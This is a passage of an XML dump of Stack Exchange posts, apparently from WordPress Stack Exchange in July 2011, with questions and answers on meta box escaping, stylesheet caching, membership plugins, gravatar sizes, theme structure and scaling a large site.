&lt;/p&gt;&#xA;" OwnerUserId="6799" LastActivityDate="2011-07-06T16:52:22.793" Title="A Dynamic Tabbed Navigation using jQuery" Tags="&lt;jquery&gt;&lt;navigation&gt;&lt;content&gt;&lt;tabs&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="22184" PostTypeId="2" ParentId="22182" CreationDate="2011-07-06T16:14:03.640" Score="1" ViewCount="" Body="&lt;p&gt;Have you looked in the Screen Options tab (top right on the Add Post / Edit Post page) to make sure 'Featured Image' is checked? It may not be set to show up by default but it should be there. Once you've checked the box it will remember your preferences.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-06T16:14:03.640" CommentCount="2" />
  <row Id="22185" PostTypeId="1" CreationDate="2011-07-06T16:19:16.070" Score="3" ViewCount="83" Body="&lt;p&gt;I'm implementing a site that allows users to switch stylesheets (to show a high contrast version for people with vision impairments). The switcher essentially just changes the &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;ref to whichever stylesheet is appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've just realised that this will lead to problems when I switch on caching (either using WP Supercache or W3 Total Cache) - as only one version of the page will be cached and thus displayed to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on possible solutions?&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-07-07T14:33:57.270" LastActivityDate="2011-07-07T14:33:57.270" Title="Stylesheet switching and caching" Tags="&lt;cache&gt;&lt;stylesheet&gt;&lt;accessibility&gt;&lt;caching&gt;&lt;fragment&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="22186" PostTypeId="2" ParentId="22182" CreationDate="2011-07-06T16:22:21.200" Score="0" ViewCount="" Body="&lt;p&gt;I had to restart my browser, and after logging back into admin featured image has reappeared.  I made no changes to settings.&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-07-06T16:22:21.200" CommentCount="1" />
  <row Id="22188" PostTypeId="2" ParentId="22178" CreationDate="2011-07-06T16:54:22.123" Score="2" ViewCount="" Body="&lt;p&gt;This one is brand new: &lt;a href=&quot;http://wordpress.org/extend/plugins/social-media-tracking/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/social-media-tracking/&lt;/a&gt; and it sounds like it does what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But be watching &lt;a href=&quot;http://yoast.com/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Joost de Valk's GA plugin&lt;/a&gt;.  He mentioned just a few days ago in &lt;a href=&quot;http://wordpress.org/support/topic/google-analytics-social-tracking&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; that he's working on it right now.  He's a prominent plugin author in the community and does good work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to implement your own, you can probably look at the Social Media Tacking plugin to see how they do it, and then go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="6737" LastActivityDate="2011-07-06T16:54:22.123" CommentCount="1" />
  <row Id="22189" PostTypeId="2" ParentId="22161" CreationDate="2011-07-06T16:55:19.363" Score="1" ViewCount="" Body="&lt;p&gt;post__in doesn't affect the ordering at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve the order you want by hooking into the 'posts_orderby' filter and use MySQL's FIND_IN_SET() function.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-06T16:55:19.363" />
  <row Id="22190" PostTypeId="1" CreationDate="2011-07-06T16:57:13.463" Score="1" ViewCount="99" Body="&lt;p&gt;I have a custom meta box that is supposed to accept HTML, but the text I'm trying to input contains both double and single quotes (and ampersands), and it's messing up the saved data - each time I reload the post, the data is duplicated with an extra single quote (and angle bracket) inserted at the end. I'm guessing its trying to &quot;close&quot; what it thinks is an unclosed phrase in single quotes, when really its an apostrophe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can temporarily fix this right now by using the html character code for my apostrophe, but (a) that is not ultimately a solution as I can't control what other users might enter once the theme is rolled out, and (b) once the page reloads, the html character has been replaced by an apostrophe again, which means if I save any further changes, I'm back at square one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do I &quot;escape&quot; html content in a metabox without stripping the html tags? Is there a special wordpress function/hook/action/etc or a special metabox format I should be using, or should I just be looking this up in the PHP manual instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: It also &quot;strips out&quot; any html characters like &lt;code&gt;&amp;amp;amp;&lt;/code&gt;, so the post won't validate properly because there are now plain &lt;code&gt;&amp;amp;&lt;/code&gt; in the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;br&gt;&#xA;So who knew single vs double quotes made any difference in simple php? I managed to fix the weird duplication and &quot;correction&quot; of apostrophe by swapping out my quotes in my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original code was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;textarea class='meta-textarea' style='width: 100%;' cols='20' rows='2' name='&quot; . $meta_box['name'] . &quot;_value' value='&quot; . $meta_box_value . &quot;'&amp;gt;&quot; . $meta_box_value . &quot;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I save the following phrase: &lt;code&gt;&amp;lt;p&amp;gt;Blah &amp;amp;amp; blah 'blah'&amp;lt;/p&amp;gt;&lt;/code&gt; into the resulting text box, it would return &lt;code&gt;'&amp;gt;&amp;lt;p&amp;gt;Blah &amp;amp; blah 'blah'&amp;lt;/p&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just swap out the single and double quotes in my code, like so:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;textarea class=&quot;meta-textarea&quot; style=&quot;width: 100%;&quot; cols=&quot;20&quot; rows=&quot;2&quot; name=&quot;' . $meta_box['name'] . '_value&quot; value=&quot;' . $meta_box_value . '&quot;&amp;gt;' . $meta_box_value . '&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then it works just fine (apart from the html-entity thing, which is still a problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those two lines of code together, so you can see I haven't left out any quotes (top one works, bottom doesn't): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;textarea class=&quot;meta-textarea&quot; style=&quot;width: 100%;&quot; cols=&quot;20&quot; rows=&quot;2&quot; name=&quot;' . $meta_box['name'] . '_value&quot; value=&quot;' . $meta_box_value . '&quot;&amp;gt;' . $meta_box_value . '&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;';&#xA;echo &quot;&amp;lt;textarea class='meta-textarea' style='width: 100%;' cols='20' rows='2' name='&quot; . $meta_box['name'] . &quot;_value' value='&quot; . $meta_box_value . &quot;'&amp;gt;&quot; . $meta_box_value . &quot;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, now, the question of weird duplication has been fixed (although I don't understand why - I thought single and double quotes were interchangeable if you weren't doing any odd substitution, etc. The remaining question is - how do I stop the text from getting  &lt;code&gt;htmlspecialchars_decode&lt;/code&gt; applied, or whatever is happening here...&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-07-19T07:42:06.313" LastActivityDate="2011-07-19T07:42:06.313" Title="How do I stop HTML entities in a custom meta box from being un-htmlentitied?" Tags="&lt;metabox&gt;&lt;html&gt;&lt;escaping&gt;&lt;esc-textarea&gt;&lt;htmlspecialchars-decode&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="22191" PostTypeId="1" AcceptedAnswerId="22703" CreationDate="2011-07-06T16:59:30.170" Score="4" ViewCount="200" Body="&lt;p&gt;I am involved with several WordPress support websites including this one (recently). I seem to get the question &quot;Can WordPress be used as a CMS/Membership Website?&quot;. I haven't needed to set one up, so I always refer them to suggestion from other forums. I've decided that it's only a matter of time until I will be required to implement this type of a WP website so I've decided to be Pro-Active and set up a development version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at Magic Members specifically, but I don't know anyone that has used it. My question has two parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Does anyone have first hand experience using Magic Members. If so is it worth the $197.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Do you have any recommendations an an alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE:&#xA;I've tried out many of the plug-ins from the repository, but for a business I haven't found one that fits all the requirements.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of the features that are most likely needed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Membership access control on various levels&lt;/li&gt;&#xA;&lt;li&gt;Public and Private content&lt;/li&gt;&#xA;&lt;li&gt;Simplified User Interface (this isn't as important since I know a few tricks including ones I've discovered here.&lt;/li&gt;&#xA;&lt;li&gt;Document sharing&lt;/li&gt;&#xA;&lt;li&gt;Content Available to Author created content that can only be changed/updated by them and the Administrator.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know this is a pretty in depth questions, but any pointers or personal experience will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jeremy Jared&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-12T11:54:33.783" Title="WordPress as a CMS Membership website" Tags="&lt;plugin-recommendation&gt;&lt;cms&gt;&lt;membership&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="22192" PostTypeId="2" ParentId="22185" CreationDate="2011-07-06T17:00:40.480" Score="2" ViewCount="" Body="&lt;p&gt;I use W3TC, so these are approaches that I can come up with it for it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Fragment caching to exclude that part of page, will reduce cache effectiveness overall.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify page with switched stylesheet by query argument, disable caching of such pages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify page with switched stylesheet by URL endpoint, disable caching of such by mask.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Implement stylesheet switch via JavaScript (not really W3TC-specific).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-06T17:00:40.480" CommentCount="1" />
  <row Id="22193" PostTypeId="2" ParentId="22009" CreationDate="2011-07-06T17:13:11.907" Score="0" ViewCount="" Body="&lt;p&gt;The demo site is also broken:&#xA;&lt;a href=&quot;http://demo.woothemes.com/?name=premiumnews&quot; rel=&quot;nofollow&quot;&gt;http://demo.woothemes.com/?name=premiumnews&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working on this for hours now. found this on wordpress.org forum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make sure you are using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and not&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and, if that doesn't resolve it,&#xA;make sure your accordion menu script works OK with jQuery 1.4.2 and does not require an earlier jQuery version. Some older scripts require earlier versions.&lt;/p&gt;&#xA;" OwnerUserId="6797" LastActivityDate="2011-07-06T17:13:11.907" CommentCount="3" />
  <row Id="22194" PostTypeId="2" ParentId="22181" CreationDate="2011-07-06T17:21:17.390" Score="1" ViewCount="" Body="&lt;p&gt;Actually, you're going about this the wrong way.  Don't filter the posts in &lt;code&gt;functions.php&lt;/code&gt;, instead, define custom loops and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;include them when needed&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a simplified example, let's say your theme only has &lt;code&gt;header.php&lt;/code&gt;, &lt;code&gt;footer.php&lt;/code&gt;, &lt;code&gt;sidebar.php&lt;/code&gt;, and &lt;code&gt;index.php&lt;/code&gt; for the structural files.  Your &lt;code&gt;index.php&lt;/code&gt; would look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pretty simple.  You have a header, a sidebar, and a footer in external files and the main page content defined in the main file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can add some logic here and, rather than include a generic loop each time, you can have a custom loop for everything.  So instead, your &lt;code&gt;index.php&lt;/code&gt; would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    if( is_home() ) {&#xA;        get_template_part( 'loop', 'home' );&#xA;    } else if ( is_single() ) {&#xA;        get_template_part( 'loop', 'single' );&#xA;    } else {&#xA;        get_template_part( 'loop' );&#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you define your custom loops in &lt;code&gt;loop-home.php&lt;/code&gt;, &lt;code&gt;loop-single.php&lt;/code&gt;, and &lt;code&gt;loop.php&lt;/code&gt;.  These custom loop pages can define any custom query you can think of.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-07-06T17:21:17.390" />
  <row Id="22195" PostTypeId="1" CreationDate="2011-07-06T17:51:22.433" Score="0" ViewCount="38" Body="&lt;p&gt;Is there a to use WordPress MU to collaborate all subsites into the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is to have all the subsites to be departments of an organization and the main site be the front page for the organization. Navigation would be created automagically...one for the main site, then a separate navigation that would list the departments (subsites) with drop downs for the pages of those sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this could all be scripted to work, but I'm curious if there's a solution already out there to roll with right out of the box.&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-08-10T19:32:15.333" Title="Different use for Wordpess MU" Tags="&lt;multisite&gt;" AnswerCount="2" />
  <row Id="22196" PostTypeId="2" ParentId="22162" CreationDate="2011-07-06T17:53:02.777" Score="1" ViewCount="" Body="&lt;p&gt;Just use the $depth arg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $depth ) {&#xA;  // it's a child comment&#xA;} else {&#xA;  // it's a parent comment&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-06T17:53:02.777" CommentCount="3" />
  <row Id="22197" PostTypeId="2" ParentId="22191" CreationDate="2011-07-06T17:54:54.617" Score="1" ViewCount="" Body="&lt;p&gt;I've had great success with &lt;a href=&quot;http://wp-member.com/&quot; rel=&quot;nofollow&quot;&gt;WP-Members&lt;/a&gt; as well as &lt;a href=&quot;http://member.wishlistproducts.com/&quot; rel=&quot;nofollow&quot;&gt;Wishlist Members&lt;/a&gt;. Granted the sites that used them were using it for paid subscription to their site. Both were easy to setup, configure and implement.&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-07-06T17:54:54.617" CommentCount="2" />
  <row Id="22199" PostTypeId="2" ParentId="22191" CreationDate="2011-07-06T18:08:15.913" Score="1" ViewCount="" Body="&lt;p&gt;I will go ahead and recommend several premium (but cheap) plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is a &lt;a href=&quot;http://codecanyon.net/item/wordpress-premium-content/137192&quot; rel=&quot;nofollow&quot;&gt;membership plugin by JigoWatt&lt;/a&gt; that allows you to setup restricted access areas. You can offer free and premium memberships (paid through paypal), and it works really, really well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is plugin that allows you to create unlimited custom post types, taxonomies, and meta boxes. It is one of my plugins (sorry for the plug), but it is one of the best out there. It's called &lt;a href=&quot;http://codecanyon.net/item/easy-custom-content-types-for-wordpress/234182&quot; rel=&quot;nofollow&quot;&gt;Easy Custom Content Types&lt;/a&gt;. Custom post types are extremely useful when setting up a CMS site because they allow you to separate content into meaningful sections.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-06T18:08:15.913" CommentCount="1" />
  <row Id="22200" PostTypeId="1" AcceptedAnswerId="22203" CreationDate="2011-07-06T18:09:53.400" Score="0" ViewCount="47" Body="&lt;p&gt;I got a set of meta boxes containing different form fields. All of them are build inside a set of classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have the problem that I have to hook the construction of the fields early enough to hook the needed scripts &amp;amp; styles. Everything is fine - I can display them, styles &amp;amp; scripts appear &amp;amp; work, saving the data works - but I can't retrieve the post meta data to fill the values of the fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point is that the fields get hooked at &lt;code&gt;admin_menu&lt;/code&gt;, which is too early to get the &lt;code&gt;$post_id&lt;/code&gt;. Now I saw that I could also use &lt;code&gt;$_GET['post']&lt;/code&gt; to retrieve the ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What speaks against this?&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-07T06:40:02.163" LastActivityDate="2011-07-07T06:40:02.163" Title="$_GET &amp; $post_ID" Tags="&lt;metabox&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22201" PostTypeId="2" ParentId="22185" CreationDate="2011-07-06T18:12:09.047" Score="2" ViewCount="" Body="&lt;p&gt;&lt;em&gt;Idea:&lt;/em&gt; If you enqueue the styles, use &lt;a href=&quot;http://www.php.net/manual/en/function.filemtime.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;filemtime()&lt;/code&gt;&lt;/a&gt; for the &lt;code&gt;version&lt;/code&gt;. If it finds changes to your previous stylesheet, caching will be prevented and a new stylesheet gets loaded.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-07T00:11:08.240" LastActivityDate="2011-07-07T00:11:08.240" CommentCount="4" />
  <row Id="22202" PostTypeId="2" ParentId="22190" CreationDate="2011-07-06T18:14:35.737" Score="2" ViewCount="" Body="&lt;p&gt;If I'm allowed to answer my own question here: I found a way to stop the conversion of my html entities back to characters by using &lt;code&gt;&amp;lt;?php esc_textarea( $text ) ?&amp;gt;&lt;/code&gt;, as detailed by the codex here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/esc_textarea&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/esc_textarea&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is the right way of doing it, but its working. My (snipped) metabox code now looks like so:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  if ( $meta_box['type'] == &quot;textarea&quot; ) {&#xA;    $meta_box_value = esc_textarea( get_post_meta($post-&amp;gt;ID, $meta_box['name'].'_value', true) );&#xA;    echo '&amp;lt;textarea class=&quot;meta-textarea&quot; style=&quot;width: 100%;&quot; cols=&quot;20&quot; rows=&quot;2&quot; name=&quot;' . $meta_box['name'] . '_value&quot;&amp;gt;' . $meta_box_value . '&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;';&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This, combined with the single/double quote thing above, works fine now.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-07-19T07:40:10.683" LastActivityDate="2011-07-19T07:40:10.683" CommentCount="0" />
  <row Id="22203" PostTypeId="2" ParentId="22200" CreationDate="2011-07-06T18:19:14.373" Score="3" ViewCount="" Body="&lt;p&gt;Once you're in the function that actually prints the html for the metabox, the global $post object should always be set the to current post. Is there a specific reason that you need to know the post_id during init?&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-07-06T18:19:14.373" CommentCount="5" />
  <row Id="22204" PostTypeId="1" CreationDate="2011-07-06T18:23:37.083" Score="0" ViewCount="40" Body="&lt;p&gt;I'm creating a number of page templates that each have their own custom meta boxes, essentially using &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10602/change-meta-box-when-the-pages-template-is-changed&quot;&gt;this approach&lt;/a&gt;. These page templates will be used by the client when setting up new pages on a multisites installation, so they'll be selecting templates a LOT. To make the process much faster and more intuitive, what I'd like to be able to do if at all possible is have the custom meta boxes automatically load as soon as the client selects the page template they want to use. Alternatively, if there is an easy way to force them to choose the page template BEFORE the page edit screen and any metaboxes load, that would work well too.&lt;/p&gt;&#xA;" OwnerUserId="6800" LastActivityDate="2011-07-06T18:23:37.083" Title="Load page template's custom meta boxes without saving first" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;page-template&gt;" />
  <row Id="22205" PostTypeId="1" CreationDate="2011-07-06T18:35:43.890" Score="0" ViewCount="39" Body="&lt;p&gt;Since you cannot upload pictures from an iPad through a webpage, I need to alert users that in order to upload their pictures, they need to visit the page on a computer. So I need a conditional statement that alerts the user via a message box only when viewing from the iPad. Here's what I have so far, it's not much, but I just need some guidance on how to execute this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ipad_alert() {&#xA;   if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT'])) {?&amp;gt;&#xA;       ...link to .js file? &#xA;&amp;lt;?php }&#xA;}&#xA;add_action('init','ipad_alert');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: I haven't found a good message alert box yet so if anyone has any suggestions fire away.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-07-06T18:35:43.890" Title="Message box when page is accessed by an iPad" Tags="&lt;conditional-content&gt;" CommentCount="6" />
  <row Id="22206" PostTypeId="1" AcceptedAnswerId="22207" CreationDate="2011-07-06T18:43:51.000" Score="0" ViewCount="13" Body="&lt;p&gt;Currently, to call comments I am simply using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_comments(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in comments.php.  This is calling up gravatars, which I would like to be able to set the size of.  How can I set the size of gravatars in my comments.&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-06T18:47:59.217" Title="Gravatar Size Via Theme Functions?" Tags="&lt;gravatar&gt;" AnswerCount="1" />
  <row Id="22207" PostTypeId="2" ParentId="22206" CreationDate="2011-07-06T18:47:59.217" Score="2" ViewCount="" Body="&lt;p&gt;Quite simple, actually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_comments( 'avatar_size=80' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just change &lt;code&gt;avatar_size=80&lt;/code&gt; to whatever is appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a bit more information on &lt;a href=&quot;http://www.chipbennett.net/2010/09/25/custom-wordpress-gravatars-the-right-way/&quot; rel=&quot;nofollow&quot;&gt;customizing Gravatars in WordPress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-06T18:47:59.217" CommentCount="3" />
  <row Id="22209" PostTypeId="2" ParentId="22134" CreationDate="2011-07-06T20:37:34.863" Score="4" ViewCount="" Body="&lt;p&gt;Let me make a recommendation: &lt;strong&gt;do not bundle plugins with your theme!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On first glance, yes this is a very easy way to add default functionality with your theme, but there are a slew of reasons &lt;em&gt;not&lt;/em&gt; to include the plugins this way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Updates&lt;/strong&gt;: If the plugin is freely available from WordPress.org already, then so are automatic updates to the plugin.  The original author can add features, fix bugs, and deploy them quickly.  Your clients and customers then benefit from on-going development.  If you were to package them in your theme, though, you are essentially freezing the code at that point in time - any further updates, bug fixes, etc. would have to come &lt;strong&gt;&lt;em&gt;from you&lt;/em&gt;&lt;/strong&gt;.  This means you'll need to continuously release theme updates whenever the included plugins update.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Updates&lt;/strong&gt;: When WordPress updates, some plugins will break.  This is because the original authors didn't take the time to remove deprecated functionality or test with new versions of WP.  Do you really want to commit to maintaining your theme + someone else's code?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Interoperability&lt;/strong&gt;: As the great &lt;a href=&quot;http://wordpress.stackexchange.com/users/1367/mfields&quot;&gt;mfields&lt;/a&gt; once said, &lt;em&gt;&quot;If you're building a bathroom and you change the wallpaper, the toilet shouldn't disappear, too.&quot;&lt;/em&gt;  Users should be able to swap out themes whenever they want without losing their content, their custom data, or the additional functionality they have on their site.  Remember, &lt;strong&gt;themes are meant for presentation&lt;/strong&gt;, plugins are meant for functionality.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There have been plenty of other people who've talked &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20756/are-drop-in-plugins-a-product-of-design&quot;&gt;about this in the past&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The better way to do this would be to have your theme check for specific plugins and prompt the user for installation if they're missing.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-07-06T20:37:34.863" CommentCount="2" />
  <row Id="22210" PostTypeId="1" CreationDate="2011-07-06T20:39:02.953" Score="1" ViewCount="60" Body="&lt;p&gt;My client is using Softaculous for software upgrading. I tried upgrading from the WordPress dashboard and it wouldn't let me. Do I have to somehow &quot;uninstall&quot; Softaculous for this to work?&lt;/p&gt;&#xA;" OwnerUserId="6805" LastActivityDate="2011-09-05T22:43:14.983" Title="Client is using Softaculous to upgrade WordPress versions. How do I upgrade from the WordPress dashboard?" Tags="&lt;upgrade&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="22211" PostTypeId="1" CreationDate="2011-07-06T20:51:34.213" Score="9" ViewCount="95" Body="&lt;p&gt;I have a large site that's using WordPress.  We have 75,000 pages in the site so far, and it's performing well on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that if anyone on our team touches the page editor (wp-admin/edit.php?post_type=page), Apache eats up all the memory on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried disabling all plugins, but that didn't work.  I also tried debugging on our live server which a 4GB box... it still eats up all the memory and comes to a hault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this install, we also have 20,000 posts.  There's no issue loading those in wp-admin.  Maybe we should move all pages to posts - that's going to cause an issue with permalink structure, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there special settings or configurations I'm missing for a large WP site?&lt;/p&gt;&#xA;" OwnerUserId="2333" LastActivityDate="2011-07-06T21:02:24.593" Title="How to configure WordPress to handle 75,000 pages?" Tags="&lt;pages&gt;&lt;memory&gt;&lt;scale&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" />
